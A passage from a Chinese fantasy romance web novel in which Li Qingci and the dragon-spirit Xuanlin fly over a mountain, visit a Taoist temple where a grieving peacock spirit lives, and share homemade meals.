他单手揽着李青辞的腰,一点点往底下落去。 李青辞瞪大眼睛,一眨不眨,直勾勾盯着脚下的云雾。 两个人的身影渐渐被白色的云雾笼罩、吞没。 须臾。 李青辞被迫闭上眼,他揉着眼睛,感受着满脸的湿凉,小声嘟囔:“白蒙蒙的,什么都看不清,又湿又凉,眼都睁不开。” 玄鳞好笑:“本来云雾里面就什么都没有,只是一团水而已。” 李青辞不禁失望:“我还以为它会很软,像躺在棉花上一样。” 幻想破灭了。 李青辞揉着湿漉漉的眼睫,抹了一把额角的水珠,抱怨道:“我身上都被打湿了,不舒服,好难受。” 玄鳞啧了声,屈指在他脑门弹了一下,随即朝他身上吹了口气。 霎时间,李青辞觉得身上的湿气一扫而空,浑身都暖洋洋的。 他开心地搂紧玄鳞的腰,昂起脑袋,蹭了蹭他的下巴。 玄鳞偏过脸,按住他的头顶,防止他乱动,斥道:“别乱蹭!” 李青辞哦了一声,安分地枕在玄鳞肩上。 玄鳞揉了揉他的脑袋,问道:“还想不想在里头飞?” 李青辞摇头:“不想了。” 玄鳞眺望一眼:“行,眼下云雾太重,等哪天天气好,我带你在半山腰溜一圈。” 听他这么说,李青辞也觉得好笑。 哪有人大冬天顶着冷风在山腰飞。 还好玄鳞用了法术,不然他现在都要被吹成冰棍儿了。 李青辞揪了揪玄鳞的袖子:“咱们走吧。” 玄鳞挑眉:“这就走了,不玩儿了?” 李青辞点头道:“等夏天来玩儿吧,到时候从山顶往下飞,一定很凉快。” “行吧。”玄鳞搂住人,正想往上走,突然,他莫名起了坏心。 他伸手把人往远处一抛,顿时响起此起彼伏的哇哇叫声,一声比一声高,那叫一个清亮。 玄鳞看着悬在空中、手脚乱扑腾的人影,忍不住笑了起来。 愉悦、促狭的笑声传进李青辞的耳朵里,他登时大怒。 “玄鳞,你这样真的好讨厌!!!!” 李青辞整个人头昏脑胀的,视线眩晕,看不清远处的身影。 朦胧中,他只见玄鳞的嘴唇动了动。 下一瞬,他浑身被一股温暖的气息包裹,很熟悉的气息。 李青辞整个人悬在空中,像被温水裹住一样。 眨了眨眼,他想起来,这种熟悉的感觉是什么了。 他在玄鳞的一口气里。 明白过来后,李青辞紧张的心情平复下来,随即而来的是兴奋和开心。 他满心好奇,试探地伸手去摸。 很轻盈,没有阻力,像是一阵柔和的春风从身边拂过。 李青辞感觉自己长了一双无形的翅膀,他伸展手脚,一副在水里游泳的样子,划拉着双臂,朝玄鳞游过去。 “我会飞了!哈哈哈!我在飞哎!” 李青辞眼睛眯成一条缝,嘴角高高翘起,清脆、欢快的笑声像是浪潮一般朝玄鳞打来。 玄鳞双手抱胸,暗金色的眼睛里充斥着笑意,他站在原处,好整以暇地看着朝他飘过来的人影。 李青辞飘到近前,伸手去够他的袖子。 这时,玄鳞脸上浮起一抹不怀好意的笑容,冲李青辞挑了一下眉。 李青辞一怔,暗道不好,急忙往一边躲。 可惜晚了。 下一瞬,他眼睁睁看着玄鳞张嘴朝他吹了口气。 霎时间,李青辞觉得自己被一阵劲风吹拂,整个人不受控地朝后面飘去。 一连翻了几个滚儿,李青辞才停住身形,他一脑袋扎在下面,好半晌才翻过身来。 脑袋晕乎乎的,李青辞慢慢划着手臂,直起腰身,指着远处的人影大声控诉。 “玄鳞,你真的好讨厌!你这样真烦人!!!” “哪有你这样的!你欺负人,以大欺小、恃强凌弱!” 玄鳞轻挑眉梢,对李青辞的指责毫不在意,他抬了抬手。 李青辞再度失去控制,手脚飞舞地朝着玄鳞飘过去。 等到了近前,李青辞气得去捶玄鳞的肩膀,刚锤了一下,他脸上又是一股劲风,整个人又一次朝后倒去。 一连两次被这样戏耍,李青辞大怒,气得牙根痒痒,他朝着玄鳞大喊:“你不要再这样了!太讨厌了!” 李青辞低沉着眉眼,红润的嘴唇紧紧抿着,一双眼睛异常明亮,仿佛能冒出小火苗来。 玄鳞见状挑眉,勾唇笑了一下:“行,不玩你了。” 他抬了抬手,把李青辞招过来。 李青辞一到近前,就攥手为拳,狠狠打他,结果把自己的手打得通红,掌根疼得要死。 李青辞越想越气不过,开始抬脚踢他。 “好了,一会儿脚又疼了。”玄鳞箍住人,转身往山顶上飞去。 到了崖上,李青辞双脚踩在实处,一脸郁闷地垂头站着。 “说好了带我出来玩,结果你把我当消遣玩了。” 玄鳞牵起李青辞的手,揉搓他的手指头,低头问他:“待会儿想吃什么?” 又是这个样子。 每次把他惹生气了,都只会弄点吃的哄他,他有这么馋吗。 李青辞更郁闷了,撅起嘴,不高兴道:“我什么都不想吃。” 玄鳞咳了一声,压住笑意,拨弄他嘟起的唇肉,啧啧道:“瞧这小嘴撅的,刚才玩的时候,你不开心?” 李青辞哽住了,偏过头不看玄鳞。 “开不开心?”玄鳞扳过他的脸,低头盯着他问,“说!” 李青辞紧抿着嘴,到了没绷住,泄出笑意来:“有一点点开心。” 玄鳞哼笑,伸手捧住他的脸,好好揉搓一顿,斥道:“开心还撅嘴,一副受了欺负的样儿。” 李青辞拍他的手:“一码归一码,你就是欺负我了,给我脑袋都晃晕了。” “是吗?哎呦……”玄鳞叹惋地啧啧两声,“瞧瞧,看给我们小崽儿委屈的。” 最后一个字音将将落地,玄鳞俯身将李青辞打横抱起,往上抛了一下,稳稳接住他后,抬脚下山。 “可怜见的,好好窝着吧,不让你走了。” 乍一听心疼的语气,其实里头满是促狭。 李青辞不高兴地踢踏两条腿,屈肘捣向身侧的胸膛。 玄鳞低声哄他:“好了好了,消停会儿,再给手臂弄疼了,一会儿怎么拿筷子。” 李青辞冷冷哼了一声。 玄鳞颠了他一下,问道:“待会想吃什么,我给你弄。” 李青辞扬起脑袋沉思,视线一瞥,看见远处那棵直冲云霄的大树,开口道:“我想去国芳观吃斋饭。” 玄鳞听得直皱眉:“好端端的,去什么道观?” 李青辞攥了攥他的手:“我娘的牌位在国芳观,我想去给她的长明灯添油。” “孔雀也在那里,有日子没见了,我想去看看他。” 玄鳞听完,眉心蹙得更深了,质问道:“你为什么想去看孔雀?这么惦记他?” 李青辞缓声解释:“我这段时间忙着河道监管,没顾得上去国芳观,今天正好空闲,就想去找孔雀说说话。” 他打量着男人的神色,笑着开口:“每到冬天,道观里都会做炖菜,很好吃,我想让你尝尝。” 玄鳞冷哼一声:“别找补了,你就是想去找孔雀说话!” “你嘴巴怎么这么能叭叭!你一个人跟妖有什么好说的,不许去!” 李青辞搂住他的脖子,脑袋靠在他脸庞,轻声说着话:“去嘛~我是真想让你尝尝那个炖菜,很好吃的。” “而且你也可以跟孔雀说话,毕竟你们是同类。” 玄鳞嗤道:“我跟有翅膀的没话可说。” 李青辞一听这话,心里不由得担忧,他回想起之前,玄鳞给他弄的吃的,大多都是带翅膀的禽鸟。 他揽着玄鳞的脖子晃了晃,凑到他脸前,看着他说:“孔雀年纪好大了,身上的肉都柴了,不好吃。” 玄鳞听出了他话里的小心思,冷嗤一声,侧目瞥他:“行啊,李青辞,我说要吃他了吗,你就胳膊肘往外拐。” 他站住脚,一把将人撂下,面无表情道:“别挨着我,去找你的孔雀。” 话音落地,玄鳞大步朝前走。 背影透着一股怒气。 李青辞赶紧跑过去追他,一把搂住他的手臂:“别生气嘛,我是怕你突发奇想,把孔雀烤了给我吃。” “是我不好,我小心之心度君子之腹,我给你认错。” 玄鳞抽出手臂,冷酷地推开粘在他身上的人:“自作多情,谁要给你弄吃的,你想得美!” 李青辞赖叽叽地黏上去,抱着他的腰认错:“哎呀……这也不能全怪我,还不是因为你太疼我了,以前我多看两眼天上的飞鸟,你就要弄下来给我吃,孔雀也是鸟,我想瞎了心,一时糊涂,你别跟我一般见识。” 玄鳞冷哼一声,没搭理。 李青辞觑着他的神色,忽然明白过来玄鳞在气什么,他扬起脑袋,快速在玄鳞下巴舔了一下,认真道:“我和你才是最亲的,我的胳膊肘永远都朝你拐。” 玄鳞依旧没说话,不过,神色肉眼可见地缓和下来。 李青辞握住他的手,轻声说着话:“孔雀是我的朋友,他帮我找过你的下落,还回到山前那个家里帮我带金子、给我摘果子,我很感谢他。” 玄鳞闻言一顿,心里噌的一下又生起不快。 李青辞叹了口气:“孔雀现在都是自个待在道观里,平时也没什么人说话。” 玄鳞压下不悦,拧眉道:“他不是妖吗,怎么会待在道观里?” 在他的印象里,道观里的那些道士,都是一心要除妖降魔,视他们妖为洪水猛兽,恨不得杀之而后快。 一只妖竟然待在道观里,这跟把脑袋主动搁在断头台上有什么区别。 李青辞解释道:“孔雀还没化形的时候就待在国芳观里,对他来说,国芳观是他的家。” 玄鳞没说话,眼神中流露出一股讽刺。 一只妖,竟然??把道观当成家,真是滑天下之大稽。 他没兴趣了解这些无关紧要的事,拍了拍李青辞的脑袋:“你想去就去吧,我在外面等你。” 对于道观,他谈不上深恶痛绝,但是打心底里不喜。 当初他娘的尸骨就埋在一个道观的后院底下。 听他这样说,李青辞道:“我很快就出来,只跟孔雀说说话,添完灯油,打了斋饭带出来,咱俩一块吃。” 玄鳞极为不解,那个斋饭就这么好吃?让小崽子这么惦记。 见他久不说话,李青辞晃他的手:“好不好呀?” 玄鳞语气不耐:“好好!你去吧。” 李青辞抿嘴笑了笑,拉着他往国芳观走。 俩人往前又走了一阵儿,玄鳞停下脚步,拍了一下李青辞的后脑勺:“行了,你自个儿去吧。” 没等李青辞反应过来,身边的黑色身影就已经消失不见了。 他站在原地,闭了闭眼,缓缓吐出一口气,过了几瞬,他平复好心绪,抬脚朝观里走。 平时干净整洁的院子,此时地上铺满了一层厚厚的落叶,被风一吹,刮的哪都是,乱七八糟的,看上去十分脏乱。 见此情形,李青辞愣了愣。 怎么回事?院子里怎么会这么脏? 他抬头望去,只见光秃秃的树枝,寻摸好一会儿,也没在上面看到一片翠绿色。 李青辞又在周围看了一圈儿,轻声喊了一句:“孔雀,你在吗?” 这时,他脑袋一疼,有什么东西砸了过来,低头看去,只见脚边滚着一颗棠梨果。 李青辞捏起果子,朝四周打量,忽然看见屋顶上多出一片浓烈的翠色。 现下,孔雀背着太阳,身形晦暗,看不清神色。 李青辞看着他问:“你怎么不扫地?” 孔雀抬了抬手,李青辞顿时朝屋顶上飞过去。 许是孔雀力道没控制好,李青辞一屁股跌坐在房顶上,身子晃了几下才稳住。 他心里既无奈又好笑,他这一天竟净飞来飞去了。 孔雀眯着眼睛,语气辨不出情绪:“扫地了,他就知道我在这里。” 李青辞闻言,轻轻叹了口气,在他肩上拍了拍。 孔雀自顾自说着话:“他越来越不像薛陵了,性格天差地别,连长相都越来越不像。” “他的脸让我越来越陌生,不禁怀疑薛陵原本的样子,是我记忆模糊了吗?不可能啊。” “即使我已经用了三根尾翎,但是他身上的气息越来越淡,我都已经快感受不到薛陵的气息了。” 孔雀的眼神一直落在树上,视线涣散着,低声喃喃自语。 “薛陵,我好想你啊。” “即使每天都能见到你,我还是好想你。” 声音很轻,模模糊糊的,李青辞听不清楚,他也没有开口问,默默坐着倾听。 孔雀嘴巴轻轻蠕动,说着一些语字不清的话,但是能从中听出思念,他身上流露出一股很浓重的悲伤。 李青辞也难过起来,可是他对于孔雀的悲伤毫无办法。 突然,他肩膀被拍了一下,力道很重,整个肩膀都疼了。 他强忍着没有喊出声,蹙眉看着孔雀:“怎么了?” 孔雀回过神来,笑嘻嘻的,神情一点都没有刚才那副沉重的痕迹,他抬手把李青辞挪远了一些。 “你身上那条水蛟的味道都快冲天了,熏得我头疼。” 李青辞狐疑地看着他,低头在自己身上嗅了嗅,困惑道:“哪有玄鳞的味道?我怎么没有闻到。” 孔雀深拧着眉心,在鼻尖用力挥了挥,抬手遮面。 世人常说他们孔雀善妒,在他看来,这条蛟比他们孔雀的妒性大多了,占有欲简直过盛,恨不得用唾沫给李青辞淹了。 越闻越难受,孔雀不自在地揉了揉鼻子,嫌弃道:“你见过狗撒尿吗?” 李青辞不明所以,但还是回答:“见过。” 孔雀道:“狗撒尿有时候是在圈地盘,你现在身上的味儿,跟那差不多。” 第54章 (一更) 来,继续折腾 李青辞听完呆住了。 这叫什么话? 一句话骂了他玄鳞两个人。 李青辞郁闷地挥了挥袖子,朝孔雀看去,极其不赞同道:“你话说得好糙,真难听。” 孔雀笑嘻嘻道:“话糙理不糙,反正就是那个意思。” 李青辞立即反驳:”你瞎说!才不是那样!” 孔雀翻了个白眼,哼哼两声:“也差不离了。” “明明就差很多!”李青辞不死心地低头嗅了嗅自己的衣领,手掌在胸口按了按,突然想到什么,“可能是因为我身上有玄鳞的鳞片,所以味道很重,才不是你说的那样。” 孔雀揉着鼻子,搪塞过去:“行、行,你说得对。” 李青辞一听他这语气,立刻从衣领里拽出那枚鳞片,朝他示意:“你看。” 孔雀见状,不由得惊讶:“这是那条蛟主动给你的?” 李青辞理所当然道:“那不然呢,我总不可能从他身上拔下来呀。” 孔雀笑了一声:“也是,你哪有那个本事。” 他在孔雀一族,已经算是道行深厚,但是跟这条蛟比起来,还差了一些。 叹了声,孔雀道:“看来这条蛟对你不错。” 连鳞片都舍得给李青辞,他们那一宗,最疼惜自己的鳞片,就像他这一族爱惜自己的羽毛一样。 李青辞翘起嘴角笑了笑,用力点头:“他确实对我很好!” 孔雀拍了一下他的脑袋,内心有些羡慕:“那条蛟挺喜欢你的,你小子也算是得偿所愿了。” 李青辞听完,眼中流露出失落,他没有跟孔雀解释太多,低着头,轻声嗯了一句。 此时正值晌午,太阳明晃晃的,刺得人眼睛睁不开。 孔雀眯起眼睛,朝李青辞问道:“你怎么这时辰过来了?” 李青辞还没来得及回答,孔雀就恍然大悟,揶揄道:“你小子又是来讨饭的。” 李青辞笑了笑:“是,那个斋饭真的很好吃,我想多打一份让玄鳞也尝尝。” 孔雀面上带笑,心里却有一股落寞,他抬头看向树梢,思绪散漫。 那个炖菜的方子,是薛陵弄出来的,当初,他吃不惯观里的饭食,一会儿淡一会儿齁咸,乱七八糟的菜一锅煮,看着让人毫无食欲。 薛陵自己也觉得难吃,便在闲暇的时候,跑去厨房学做饭,每次做出来,都先让他尝。 说实话,最开始的味道还不如观里的饭菜。 不过,薛九陵越做越好,折腾了很久,才弄出这么一个方子。 后来,观里做饭的人换了又换,方子还是那个方子,但是味道早就变了。 什么都变了。 这个道观里的每一块瓦、每一块砖、每一根梁木都换过,大殿里供奉的神像,记不清刷过多少次漆了。 孔雀收拢思绪,半阖着眼,秾艳昳丽的面容笼罩一层散不开的浓雾。 李青辞看了他一眼,转过头,静静坐着没吭声。 沉默坐了一会儿,李青辞在孔雀肩上轻拍一下,开口跟他辞别。 随后,李青辞来到偏殿,给母亲的长明灯牌添油。 “娘,我现在过得很开心,玄鳞对我很好,像小时候你对我那样好。” 李青辞跪下认认真真磕了三个头,然后离开偏殿,沿着抄手游廊,朝中庭去。 不远处的上空飘着袅袅青烟,一股微风吹来,带来一股浓郁的饭香。 厨房里一名上了年纪的道士,正在用力挥舞着铲子。 窗外,一双暗金色的眼睛,紧紧盯着他。 李青辞到了院中施食的地方,这里聚集了很多香客,嘈杂声传入耳中,其中一名施食的年迈道士冲李青辞招手 李青辞眼睛一亮,冲那名道士招了招手,快步走过去。 那名道士挤眉弄眼,低声道:“我给你多打点儿。” 李青辞笑得很开心:“谢谢张道长,这次我要两份。” “没问题。”张道长给李青辞打了满满两大碗,递给他时说,“你尝尝,里头的蘑菇、笋干是我今年刚采的,都特别鲜灵,酱汁是我自己腌的,味道比以前又好了一些。” 李青辞听完,当即拿起筷子夹了一口送入嘴中,仔细嚼了嚼,用力点头:“确实!比以前更好吃了,张道长,你的厨艺越来越好了!” 张道长脸上流露出浓浓的得意,自豪道:“那是!我这一辈子就忙活这一件事情,如今看来,做得还算不错。” 李青辞摇头,不赞同道:“不是不错,是很好!” 张道长开怀大笑:“哈哈哈哈哈……你小子嘴巴比小时候更甜了。” 李青辞也笑了起来,朝他颔首:“我先走了,饭要趁热吃。” “好,去吧。” 李青辞端着两个碗,快步朝观外走,站在门口巡视一圈,发现了高处的黑色身影。 他走近,仰着头看向树上:“你下来,我打完饭了。” 玄鳞应了一声,从树上一跃而下。 李青辞递给他碗和筷子,期待道:“你尝尝,比以前更好吃了。” 玄鳞接过来,不情愿地夹了一筷子送进嘴里,嚼了几口后,眉头轻挑:“凑合。” 李青辞笑了起来:“是吧,我就说很好吃。” 玄鳞面无表情,没有回答,夹着菜往嘴里送。 两人肩并肩坐在石阶上吃饭,李青辞看了一眼玄鳞渐空的碗,将自己碗里的菜拨了一半给他。 玄鳞没做声,低着头自顾自吃饭。 他吃得很慢,神色认真,倒不像是在吃饭,而是在鉴赏什么文玩一样。 李青辞也吃得慢吞吞的,周围很暖和,不用担心饭凉得快。 一顿饭吃了好久。 玄鳞引着水,先将李青辞的嘴巴和手洗干净,又清洗碗筷。 李青辞歪着脑袋,在他肩上蹭了蹭:“我去观里送碗筷,很快就出来。” 玄鳞懒懒地嗯了一声。 李青辞起身离开,送完碗筷往外走的时候,突然一片落叶吹到脚下,他止住脚步,想了想,转过身形朝后面的小院去。 在一侧的偏屋里找到扫帚,李青辞从正房门口开始一点点清扫落叶。 孔雀满脸笑意地看着他:“干得不错,奖你一堆果子。” 李青辞抬眼去看,就见远处的石桌上放了一小撮棠梨果,他朝屋顶上的孔雀招手:“还有吗?再给我点儿,我想让玄鳞也尝尝。” 忽然,孔雀身影消失,石桌上的棠梨果也不见了。 李青辞疑惑地张望,过了几瞬,听见一阵噔噔的脚步声。 他明白过来,立刻咽下嘴边的话,低头继续扫地。 少顷。 薛九陵气势汹汹地冲过来,一脸不善地走到李青辞跟前,质问道:“他人呢?” 李青辞摇头:“我不知道。” “骗鬼呢你!少糊弄我”薛九陵怒气冲冲,“不知道你干嘛在这里扫地!肯定是孔雀让你扫的。” 李青辞一边扫地,一边解释:“是我自己要扫的,孔雀一向爱洁,院子里这么脏,他不喜欢。” “用不着你献殷勤!”薛九陵语气暴躁,一把夺过李青辞手中的扫帚,狠狠砸在一边,怒吼道,“说!孔雀去哪儿了?刚才他跟你说什么了?” 李青辞暗叹一声,心里无奈,但是又没办法,只能缄默着上前捡回扫帚,继续扫地。 薛九陵见状,怒气更盛,猛地抢过他手里的扫帚,扬手又要扔掉。 李青辞抓着不放,看着他,放缓语气:“你就算朝我撒气也没用,我真的不知道孔雀去哪儿了,如果你有什么想跟他说的,可以留在院子里,坦诚地和他讲明,或许孔雀能听见。” 薛九陵沉着眉眼,没有说话。 自从他弄死那只该死的松鼠,孔雀就对他越来越冷淡,近些时日,孔雀一直对他避而不见,不管他在院里说什么,得到的永远都是沉默。 默了默,李青辞缓缓松开手,轻声道:“地虽然不是孔雀让我扫的,但是孔雀一定希望院子里干净整洁。” 说完他转身离去,走到门口时,身后传来沙沙的扫地声。 李青辞走出国芳观,不由得心有惆怅,长长叹了一口气。 结果一口气没叹完,脸颊被掐住了。 玄鳞皱着眉,不悦地看着他:“你真能磨蹭,怎么不等天黑了再出来。” 李青辞没有把这些不开心的事讲给他听,只道:“在观里遇见一个熟人,聊了几句话。” 玄鳞冷冷哼了一声:“你小子人不大,认识的人倒是挺多。” 李青辞抿嘴一笑,握住他的手晃了晃:“咱们走吧。” 玄鳞屈指在李青辞脑门弹了一下,没再计较。 国芳观前头不远处有个小矮山,李青辞伸手指了指,问玄鳞:“听说上面长了一棵三百多年的青松,要不要去看看?” “不去。”玄鳞丝毫不感兴趣,他家山头上长的都是成千上万年的树。 李青辞哦了一声:“好,那我们回家吧。” 玄鳞垂眼瞥他,又看了一眼明亮的日头,啧了声:“算了,去看看吧。” 李青辞一只手被牵住,他便顺着拖拽的力道迈上山阶。 俩人走得很慢很慢,三不五时的停下来,李青辞四下环顾,他第一次来这里,看什么都觉得新奇,他觉得新奇的东西也要指给玄鳞看一看。 在玄鳞看来,全都稀疏平常,他随意嗯嗯两声,当作回应。 李青辞听出了他语气中的敷衍,但李青辞没有生气,反而更开心了。 敷衍有时候也是一种顺从。 俩人晃悠着到了山顶,李青辞快步走到那棵三百年的青松跟前,惊讶地瞪大眼睛:“好粗的树呀,应该真有三百年了。” 玄鳞不以为意,随口道:“一般,没比我粗多少。” 这下李青辞真是彻底惊住了,他错愕地看着玄鳞,伸手抱住他的腰,不可置信道:“你原来这么粗吗?” 这棵青松,最起码要两人环抱。 玄鳞好笑道:“这才哪到哪,我还长呢。” 李青辞“啊”了一声,惊讶道:“还长?那你真的好粗呀!” 玄鳞捏住他的下巴,往上一抬:“大惊小怪。” 他以后还要化龙的,不仅会褪去一层皮,还会换鳞,身形最起码能粗一圈。 李青辞摸着玄鳞的腰,心里忍不住好奇,不知道玄鳞的原形会是什么样子,一定很威猛吧。 这么一个庞然大物,他的院子好像确实小了点。 李青辞垂着眼皮沉思。 玄鳞扣住他的后颈摩挲,另一只手按在他腰上搓摸,摸了两下,只摸到厚厚的衣裳,玄鳞低低叹了口气。 李青辞整张脸突然被罩住揉搓,他被迫回神,往后一倒,倚在玄鳞怀里。 这时的太阳嫣红一片,欲要西沉,李青辞凝神望去,只觉今日时光短暂。 片刻后。 李青辞屈肘杵了一下玄鳞:“太阳要下山了,咱们回家吧。” 玄鳞闻言皱起眉,瞥了一眼远处泛着紫气的京城,神情泄出厌烦之意。 他低嗯一声,牵着李青辞一只手,朝山下去。 等两人慢悠悠晃到山脚,太阳已经下山了。 玄鳞用指腹蹭了蹭李青辞的脸蛋,低头问他:”饿不饿?” 李青辞摇头:”不饿,晌午吃得很饱。” “行,那不骑马了,走着回去吧。”玄鳞抬了抬手指,马儿顺服地跟在二人身后不远处。 李青辞爽快地“哎”了声,伸手勾住他脖子,在他身上荡秋千。 玄鳞身上挂着个人,身形依旧挺直,步伐始终保持一个步调,不紧不慢。 李青辞玩得乐此不疲,一路上笑吟吟的,时不时还跳起来去摸玄鳞的头顶。 玄鳞瘫着脸,面无表情走着。 偶尔,李青辞举动过火了,玄鳞抬手在他屁股狠扇一巴掌。 隔着厚厚的衣物,打得一点都不疼,李青辞一点没在意,依旧笑着凑上去,挂在他身上,让他驮着自己走。 折腾一路,城里的路走了一半时,李青辞蔫下去了,他垂着两条勒酸的手臂,安安分分地走在玄鳞身侧。 玄鳞抬手在他脑后扇了一巴掌,嘲讽道:“怎么停了?来,继续折腾。” 李青辞抿着嘴,朝他讨好地笑着:“我错了。” 玄鳞冷哼一声,没搭理。 李青辞抱住他一条手臂,轻轻晃了晃:“我今天开心,乐过头了。” 玄鳞推开他,不咸不淡道:“是该开心,毕竟见到了你心心念念的孔雀。” “才不是!”李青辞立刻大声反驳,用脑袋撞他,绕到他脸前,认真道,“是因为你陪我一起玩,我才开心的。” 玄鳞别过脸不看他。 李青辞以为他不信,有些急了:“你不能误会我!跟孔雀没关系,只有和你在一起,我才会这么开心。” 玄鳞不着痕迹地挑了下眉,微微低头敛目,觑着眼皮子底下巴巴望着他的小脸。 下一瞬,他收敛神情,冷漠地转过头,避开那双焦急的眼睛。 “玄鳞~”李青辞绕到他脸前,踮起脚,伸手捧住他的脸,直勾勾看着他,“你这是干嘛呀?” 亮晶晶的眼睛渐渐黯淡,翘着的嘴角也抿成低落的弧度。 真不高兴了,玄鳞啧了声,没再逗弄人,他伸手掐住李青辞的腰,把人抱在身上。 李青辞瞥见了他脸上一闪而过的促狭笑意,登时反应过来,立刻伸手捶他:“你这样真讨厌!好好的非要戏弄人。” 玄鳞咳了一声,冷着脸道:“窝好,挡着我视线了。” 李青辞立刻直起腰,故意挡在??他脸前。 玄鳞抬眼看他:“越说越来劲儿是吧。” 李青辞冷冷哼了一声,伸腿踢踏几下。 冷脸没管用,玄鳞在心里叹了口气,他单手托住李青辞的屁股,另一只手在他后肩拍了拍:“好了,梗着脑袋也不嫌累。” 李青辞依旧不高兴,捻了捻手指,快速在他脑门弹了一下。 第55章 玄鳞!呜呜呜……玄鳞……… 玄鳞深吸一口气,咬牙忍了李青辞这胆大包天的举动:“解气了?快点窝好,不然你下来自己走。” 李青辞往前张望一眼,天黑夜寒,街上没什么人,他放心地趴在玄鳞肩上,轻轻晃悠俩腿。 玄鳞走得很稳,李青辞在他身上眯了一会儿,醒过来时,刚好走到家门口,他拍了拍玄鳞的肩。 玄鳞放他下来。 俩人并肩走着进府,吃吃饭、散散步、洗洗澡,这一天算是彻底过去了。 李青辞躺在温暖的被窝里,忽然悲从中来,明日又要早起上衙。 玄鳞皱眉,拧他腰上的软肉:“你唉声叹气干什么呢?” 李青辞蛄蛹几下,垂头丧气道:“我不想上衙,想一直玩。” 玄鳞听完,心中一喜:“行,你辞官吧,天一亮咱们就回那个家。” 李青辞拖着嗓子长叹一声:“我就是随口说说,河道的差事还没完呢,年前衙署的总结才写了一半,还有——” “打住!”玄鳞神情不悦,“你到底辞不辞官?” “不辞啊。” “不辞?那你说什么!” 李青辞理所当然道:“过过嘴瘾。” 玄鳞:“……” 他伸手捂住李青辞的嘴:“再多话,你就睡地上。” 李青辞唔唔两声,示意自己知道了。 此时,他脸边扑过来一股悠长的湿热气息,眨了眨眼,他渐渐熟睡过去。 一夜好眠。 第二天,晌午放饭。 李青辞走在河道上,远远的,他就看见了玄鳞的身影。 他压着步子,朝着黑影疾走,到了近前,他小跑着扑上去,一把搂住玄鳞的腰,在他肩上蹭了蹭。 “今天好冷,帽子老被风刮掉,吹得我脸都僵了。” 玄鳞捧着他的脸摸了摸:“是不如平常暖乎了。” 随即,玄鳞低下头,朝他脸上徐徐吹了口气。 李青辞眨了眨眼,脸上暖融融的,他拉着玄鳞的手,挑了一处干净的地方坐下,开心道:“今天是什么好吃的呀?” 玄鳞掏出一个大海碗递给他。 李青辞见状呆住了,吸着鼻子嗅了一下,惊诧道:“你去国芳观了?” “没有,我去那干嘛,又不是吃饱了撑的。” 李青辞闻着熟悉的味道,还有碗里相似的食材,突然冒出一个想法,他不可置信地瞪大眼睛:“这是你做的吗?” 玄鳞反问:“不然呢?难道是你做的?” 李青辞抿着嘴,不知该做何反应,心头像是被小爪子挠了一下,酸酸麻麻的。 玄鳞在他脑门弹了一下:“赶紧吃。” 李青辞低着头,哦了一声,夹了一筷子送进嘴里,仔细嚼着。 玄鳞眼神移到一旁,神色漫不经心,很不在意地随口问了一句:“怎么样?区别大吗?” 李青辞摇头:“只有一点区别。” 没等玄鳞问出第二句,他就回答:“你做的好吃,我喜欢你做的。” 玄鳞闻言,单边挑了下眉,面上露出得意之色。 他揉了揉李青辞的脑袋,低笑道:“以后想吃,我给你做。” 李青辞蹭了蹭他的掌心:“好!” 玄鳞做的饭菜和国芳观的斋饭,在味道上的差别并不明显,区别在食材上,笋干没有那么嫩,蘑菇也没有那么爽滑,但这不是玄鳞的问题。 李青辞一边吃一边想,玄鳞在厨艺一途,称得上是天资卓绝,只吃了那么一次,就能复原七八成相似,真的太厉害了! 吃一口,李青辞就忍不住夸奖:”玄鳞,你做的真好!” 玄鳞语气嫌弃:“吃你的饭吧。” 尾音却忍不住泄出笑意来。 接下来一连五天,每天晌午,玄鳞都过来给李青辞送斋饭。 再好吃的饭,李青辞也吃不消了,他握着玄鳞的手晃了晃:“不想吃这个了,换一个吧。” 他拉着玄鳞的手放在自己脸上:“你摸摸,我的脸都饿瘦了。” 玄鳞捏了捏他的脸,哼道:“瞎说,我看你小脸肉又多了。” 李青辞讪笑两声,还不是晚饭吃得太多、太丰盛,在院里溜达十几圈,肚子依旧胀得不行。 别说脸了,感觉他腰身都胖了一圈。 玄鳞掐在他腋下,拎着他掂了掂,啧了声:”吃胖了还是这么轻,你真难喂,养大一点儿好难。” 李青辞无奈一笑,没说什么。 他不是一两岁的孩子,个头噌噌往上蹿,一天一个样,他身形已经定住了,很难有大的变化。 玄鳞拢住他暖乎乎的小手,低头问他:“困不困?我抱着你睡会儿。” 李青辞点头:“有点困,想眯一会儿。” “行,睡吧。” 玄鳞半阖着眼躺在一股水流上,李青辞闷脸趴在他怀里,睡得很沉,他下巴压着李青辞脑袋,双臂环在他腰间,有一搭没一搭地拍着。 日子就这么一天天过下去。 这天晚上。 李青辞一回到家,身子一软,倒头瘫在榻上,如释重负地长出一口气:“终于结束了……” 沙英河冬季检修的差事,于今日下晌签字交差,他终于可以好好歇一歇了。 缓了片刻。 李青辞爬起来,凑到玄鳞身边,脑袋枕在他肩上,笑道:“你也可以好好歇着了,以后晌午就不用给我送饭了。” 与李青辞的喜悦不同,玄鳞脸上没什么高兴之色,他漫不经心地嗯了一声。 这时门外下人来喊:“老爷,太夫人叫您过去用膳。” “知道了。” 李青辞晃了晃玄鳞的手:“今天是小年,我要去东院吃饭,你和我一起去吗?” “不去。”玄鳞抽出手,摁了摁眉心,“我去打个盹儿。” 这阵子法力用多了,有点乏。 李青辞点头道:“好,你去睡吧,??我吃完饭就回来给你暖床。” 玄鳞三两步走到床边躺下了。 李青辞给他掖好被子,往火炉里又添了几块炭,窗户开了一条缝,合好门后,才转身离开。 到了东院,吃完饭后,高琼枝示意李青辞留下。 她拿出一叠纸递给李青辞:“我遣了五个人跑遍全城挑出来二十处,前五处是我亲自去过的,都还不错,你自己挑挑吧。” 李青辞接过纸,先朝她笑了笑:“有劳太夫人,您受累了。” 高琼枝摆手:“没什么累的,就当游玩了,你给的钱多,事情好办。” 前些日子,李青辞突然来西院,大手一挥,直接搁下两大箱金子,给她吓了一跳。 就算是买房子,也用不着这么多钱呀。 等她听完李青辞的要求后,想法就变了。 这两箱金子估计还不够呢。 无他,只因李青辞要买的不是房子,是园子! 这叠纸上载有每座房子的尺寸、布局以及院内详情,下面均附有院落图纸。 李青辞一张张纸认真看着,等全部看完,他直接定下了城南那处霖泽园。 高琼枝喝了口茶,面上没有意外之色,她就知道李青辞会选这个。 “霖泽园是前朝一位亲王的别院,里头那个月湖,连着苇滨河,夏天清凉不假,但是潮湿多蚊虫,秋冬湿寒,平常只在夏季待客、宴请用,院里的房子多为竹舍,不实用,长时间住人不好。” 李青辞笑了笑,没在意:“无碍,房子重建即可,到时候挑些好木材,多刷层漆料。” 